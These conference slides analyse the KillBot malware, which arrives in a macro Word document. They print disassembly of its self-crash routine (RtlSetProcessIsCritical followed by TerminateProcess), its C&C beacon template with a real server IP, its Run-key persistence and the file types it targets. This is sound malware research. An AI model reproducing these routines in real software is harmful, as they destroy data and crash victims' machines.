




Check Point
SOFTWARE TECHNOLOGIES LTD.

We Secure the Internet.

KillBot:

Conspiracy Theories



Inbar Raz
hack.lu lightning talk
25 October 2012

Why am I giving this talk?

- Too much social engineering talk got me excited.
- Luxembourg trip and dinner are for *speakers* only.



Why am I giving this talk?

- Cover story: I'm giving a lightning talk!

...
LIGHTNING TALKS
13h00-13h30 (EUROPE)
5-10' SLOTS

NAME	TOPIC
<u>Wednesday</u>	
Walter Belgers	Lock impressioning
Eric Pomroy	CVE-2012-46818 CVE-2012-49659 Pending Question
G. PRIGENT & M. VIVES	HYNESIM
FONTUELLE Thomas	Signal Spam French national spam reporting activity
Daniel Plohmann	IDA scope
Christophe Vandeplass Lucas Menten	partition / spytension
<u>Thursday</u>	
A. Kaplan + Z. GUTHRIE + yodor	Different PDMS implementations interoperability (Bytetrade)
Inbar Raz inbar@checkpoint.com	KillBot - Conspiracy Theories
Paul Rascañeres Dob: evil	When malware run target Smartcard

Why am I giving this talk?

- It worked 😊
- Only problem: Turns out I *actually* need to give a talk.
- Luckily, I have one ready.



1 Background

2 Coding peculiarities

3 Logic peculiarities

4 Conspiracy Theories

- A malicious Word document is detected.
- The document drops and executes an EXE file.
- Time of attack: 2012-03-05 02:55:54 (US)
- End of preliminary analysis: 2012-03-05 18:45 (Israel)
- Within two days, 2 more attacks are documented
 - EXE was sent directly by mail (no encapsulation).
 - Targets were not Check Point customers.
 - On at least one of the cases the KillBot succeeded.

1 Background

2 **Coding peculiarities**

3 Logic peculiarities

4 Conspiracy Theories

No sophistication whatsoever

- No Zero-Day vulnerabilities used.
- Enabled Macros required for dropping the EXE.
 - They don't have Minos...

- This makes an “affordable loss”.




- EXE is neither packed nor encrypted.
- Server IP, HTTP message and bot name in plain text:

```
.rdata:00402250 aHTTP_POST      db 'POST %s HTTP/1.0',0Dh,0Ah
.rdata:00402250                db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah
.rdata:00402250                db 'Content-transfer-encoding: base64',0Dh,0Ah
.rdata:00402250                db 'Content-Length: %d',0Dh,0Ah
.rdata:00402250                db 'Host: %s',0Dh,0Ah
.rdata:00402250                db 'Connection: Keep-Alive',0Dh,0Ah
.rdata:00402250                db 0Dh,0Ah
.rdata:00402250                db 'id=%s&code=2&md5=wer&data=',0

.data:0040302C server_ip      db '193.104.153.31',0
.data:0040303C aServerPath    db '/fl/task',0
.data:00403048 aKillbot       db 'KillBOT',0
```

- BUT: Encrypted Registry Key name
 - SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
 - This string is always a cause for alarm...

- When loaded to IDA:



- Inside disassembly:

```
.rdata:004028E0 ; Debug Information resource
.rdata:004028E0 dd 'SDSR' ; MagicWord - RSDS signature
.rdata:004028E0 db 031h,06Dh,049h,0FAh,004h,0C2h,083h,046h ; GUID
.rdata:004028E0 db 0A1h,098h,00Fh,0A1h,082h,0EAh,0ECh,05Fh ; GUID
.rdata:004028E0 dd 1 ; Age
.rdata:004028E0 db 'C:\Users\admin\Documents\projects\loader\Screen\Release\killAll_exe.pdb',0' ; FilePath
```

■ “KillSelf()” function:

```
.text:004012C0      push     0                ; lParam
.text:004012C2      push     0F020h           ; wParam
.text:004012C7      push     112h             ; Msg
.text:004012CC      push     1                ; gaFlags
.text:004012CE      push     0                ; lpszWindow
.text:004012D0      push     0                ; lpszClass
.text:004012D2      push     0                ; hWndChildAfter
.text:004012D4      push     0FFFFFFDh        ; hWndParent
.text:004012D6      call    ds:FindWindowExW
.text:004012DC      push     eax              ; hwnd
.text:004012DD      call    ds:GetAncestor
.text:004012E3      push     eax              ; hWnd
.text:004012E4      call    ds:PostMessageW
.text:004012EA      call    ElevatePrivilege
.text:004012EF      push     offset LibFileName ; "ntdll.dll"
.text:004012F4      call    ds:LoadLibraryA
.text:004012FA      push     offset ProcName   ; "RtlSetProcessIsCritical"
.text:004012FF      push     eax              ; hModule
.text:00401300      call    ds:GetProcAddress
.text:00401306      push     0                ; void* u
.text:00401308      push     0                ; bool* pOld
.text:0040130A      push     1                ; bool IsCritical
.text:0040130C      call    eax              ; int __cdecl NTDLL:RtlSetProcessIsCritical()
.text:0040130E      push     222              ; uExitCode
.text:00401313      call    ds:GetCurrentProcess
.text:00401319      push     eax              ; hProcess
.text:0040131A      call    ds:TerminateProcess
```



■ BUT, the end of “ThreadMain()” function:

```
.text:0040194D      push    0                ; lParam
.text:0040194F      push    0F020h           ; wParam
.text:00401954      push    112h             ; Msg
.text:00401959      push    1                ; gaFlags
.text:0040195B      push    0                ; lpszWindow
.text:0040195D      push    0                ; lpszClass
.text:0040195F      push    0                ; hWndChildAfter
.text:00401961      push    0FFFFFFFFh      ; hWndParent
.text:00401963      call   ds:FindWindowExW
.text:00401969      push    eax              ; hwnd
.text:0040196A      call   ds:GetAncestor
.text:00401970      push    eax              ; hWnd
.text:00401971      call   ds:PostMessageW
.text:00401977      call   ElevatePrivilege
.text:0040197C      push    offset LibFileName ; "ntdll.dll"
.text:00401981      call   ds:LoadLibraryA
.text:00401987      push    offset ProcName  ; "RtlSetProcessIsCritical"
.text:0040198C      push    eax              ; hModule
.text:0040198D      call   ds:GetProcAddress
.text:00401993      push    0                ; void* u
.text:00401995      push    0                ; bool* pOld
.text:00401997      push    1                ; bool IsCritical
.text:00401999      call   eax              ; int __cdecl NTDLL:RtlSetProcessIsCritical()
.text:0040199B      push    222              ; uExitCode
.text:004019A0      call   ds:GetCurrentProcess
.text:004019A6      push    eax              ; hProcess
.text:004019A7      call   ds:TerminateProcess
```



One more time...



■ “KillSelf()” function:

```
.text:004012C0      push     0                ; lParam
.text:004012C2      push     0F020h           ; wParam
.text:004012C7      push     112h             ; Msg
.text:004012CC      push     1                ; gaFlags
.text:004012CE      push     0                ; lpszWindow
.text:004012D0      push     0                ; lpszClass
.text:004012D2      push     0                ; hWndChildAfter
.text:004012D4      push     0FFFFFFDh        ; hWndParent
.text:004012D6      call    ds:FindWindowExW
.text:004012DC      push     eax              ; hwnd
.text:004012DD      call    ds:GetAncestor
.text:004012E3      push     eax              ; hWnd
.text:004012E4      call    ds:PostMessageW
.text:004012EA      call    ElevatePrivilege
.text:004012EF      push     offset LibFileName ; "ntdll.dll"
.text:004012F4      call    ds:LoadLibraryA
.text:004012FA      push     offset ProcName   ; "RtlSetProcessIsCritical"
.text:004012FF      push     eax              ; hModule
.text:00401300      call    ds:GetProcAddress
.text:00401306      push     0                ; void* u
.text:00401308      push     0                ; bool* pOld
.text:0040130A      push     1                ; bool IsCritical
.text:0040130C      call    eax              ; int __cdecl NTDLL:RtlSetProcessIsCritical()
.text:0040130E      push     222              ; uExitCode
.text:00401313      call    ds:GetCurrentProcess
.text:00401319      push     eax              ; hProcess
.text:0040131A      call    ds:TerminateProcess
```



■ BUT, the end of “ThreadMain()” function:

```
.text:0040194D      push     0                ; lParam
.text:0040194F      push     0F020h           ; wParam
.text:00401954      push     112h             ; Msg
.text:00401959      push     1                ; gaFlags
.text:0040195B      push     0                ; lpszWindow
.text:0040195D      push     0                ; lpszClass
.text:0040195F      push     0                ; hWndChildAfter
.text:00401961      push     0FFFFFFFFh       ; hWndParent
.text:00401963      call    ds:FindWindowExW
.text:00401969      push     eax              ; hwnd
.text:0040196A      call    ds:GetAncestor
.text:00401970      push     eax              ; hWnd
.text:00401971      call    ds:PostMessageW
.text:00401977      call    ElevatePrivilege
.text:0040197C      push     offset LibFileName ; "ntdll.dll"
.text:00401981      call    ds:LoadLibraryA
.text:00401987      push     offset ProcName   ; "RtlSetProcessIsCritical"
.text:0040198C      push     eax              ; hModule
.text:0040198D      call    ds:GetProcAddress
.text:00401993      push     0                ; void* u
.text:00401995      push     0                ; bool* pOld
.text:00401997      push     1                ; bool IsCritical
.text:00401999      call    eax              ; int __cdecl NTDLL:RtlSetProcessIsCritical()
.text:0040199B      push     222              ; uExitCode
.text:004019A0      call    ds:GetCurrentProcess
.text:004019A6      push     eax              ; hProcess
.text:004019A7      call    ds:TerminateProcess
```



1 Background

2 Coding peculiarities

3 **Logic peculiarities**


4 Conspiracy Theories

- Unordinary and suspicion-arising name:
 - “xc8xedxf1xf2xf0xf3xeaxf6xe8xff_xecxe8xf2xe8xedxe3.doc”
- Is actually Windows-1251 (Cyrillic script):
 - Инструкция МИТИНГ
 - Instruction Meeting
 - Russians in the crowd: Did I get this right?

- C&C Server IP: 193.104.153.31
 - Registered to “TRADE COMPANY TANJA s.r.o.”
 - Located in Prague, Czech Republic
- Sending Mail Server IP: 79.127.3.100
 - Registered to “Asiatech DSL Broadband Services”
 - Located in Tehran, Iran
- No attempt was made to hide either address

Incomplete communications logic

- Data Validation:
 - “id=” and “code=” in response.
 - Code value must not start with ‘0’.
- If validation succeeds:
 - **Leave socket open!**
 - But... exit.
- Either way:
 - Do nothing.



- KillBot iterates on all files and directories.
- Looks for the following *substrings* (**not** extensions):
 - .msc
 - .exe
 - .doc
 - .xls
 - .rar
 - .zip
 - .7z
- DLL files are not on the list, but MSC files are.

1 Background

2 Coding peculiarities

3 Logic peculiarities

4 **Conspiracy Theories**

- It's obvious that code has been commented out:
 - Socket is intentionally left open but nothing else happens.
 - No code processes the response from C&C.
- KillBot makes no attempt to hide itself or its origin:
 - It causes damage, which alerts victim.
 - This is not so common anymore.
 - IP addresses are visible.
 - Iran as a source – Really?

- We're not seeing the whole picture.
- Code could be either a Proof-of-Concept or a Test Drive
 - Option 1: Testing the customer's susceptibility
 - Customer is now alert
 - Option 2: Testing the technology
 - The customer was a random target
- Iran is not necessarily not involved
 - Option 1: Someone is throwing dirt – they're easy to blame
 - Option 2: This is a script kiddie

(We're not so sure about this anymore...)

Questions?

